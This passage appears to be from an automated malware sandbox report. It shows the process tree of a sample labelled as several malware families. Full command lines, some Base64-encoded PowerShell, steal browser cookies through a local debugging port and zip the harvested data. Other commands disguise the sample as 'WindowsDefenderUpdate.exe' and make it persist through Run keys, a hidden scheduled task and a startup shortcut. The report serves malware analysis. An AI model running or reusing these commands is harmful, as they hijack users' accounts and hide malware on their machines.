UAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA5ADcANAAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                    3⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2308
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                  2⤵
                                  • Executes a command shell one-liner
                                  PID:6048
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /F /IM msedge.exe
                                    3⤵
                                    • Kills process with taskkill
                                    PID:6436
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_2vg973" ."
                                  2⤵
                                  • Executes a command shell one-liner
                                  PID:6484
                                  • C:\Windows\system32\tar.exe
                                    tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_2vg973" .
                                    3⤵
                                      PID:6520
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536621582.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536621582.txt""
                                    2⤵
                                    • Executes a command shell one-liner
                                    PID:2296
                                    • C:\Windows\system32\tar.exe
                                      tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536621582.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536621582.txt"
                                      3⤵
                                        PID:5552
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Local\Temp\2026-07-20_dcb4dd17732d4411e1fe8b160b070f6c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe""
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:6596
                                      • C:\Windows\system32\cmd.exe
                                        cmd /c copy /Y "C:\Users\Admin\AppData\Local\Temp\2026-07-20_dcb4dd17732d4411e1fe8b160b070f6c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"
                                        3⤵
                                        • Executes a command shell one-liner
                                        PID:1304
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:6620
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                        3⤵
                                        • Adds Run key to start application
                                        PID:6652
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f"
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:6664
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WindowsDefenderUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe"" /f
                                        3⤵
                                        • Adds Run key to start application
                                        PID:6696
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsDefenderUpdateTask" /F"
                                      2⤵
                                      • Indicator Removal: Clear Persistence
                                      PID:6716
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Delete /TN "WindowsDefenderUpdateTask" /F
                                        3⤵
                                          PID:6748
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                        2⤵
                                          PID:4112
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAFwAVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAVQBwAGQAYQB0AGUALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                            3⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:6804
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA"
                                          2⤵
                                            PID:7124
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBVAHAAZABhAHQAZQBcAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA
                                              3⤵
                                              • Drops startup file
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:3724
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:4296
                                            • C:\Windows\system32\reg.exe
                                              reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                              3⤵
                                                PID:4628
                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                            1⤵
                                              PID:4668
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                              1⤵
                                                PID:4372
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                1⤵
                                                  PID:6352
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                  1⤵
                                                  • Modifies data under HKEY_USERS
                                                  PID:6392
                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe
                                                  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • Checks processor information in registry
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:7004
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
                                                    2⤵
                                                    • Hide Artifacts: Hidden Window
                                                    PID:7112
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
                                                      3⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5548
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
                                                    2⤵
                                                      PID:4652
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
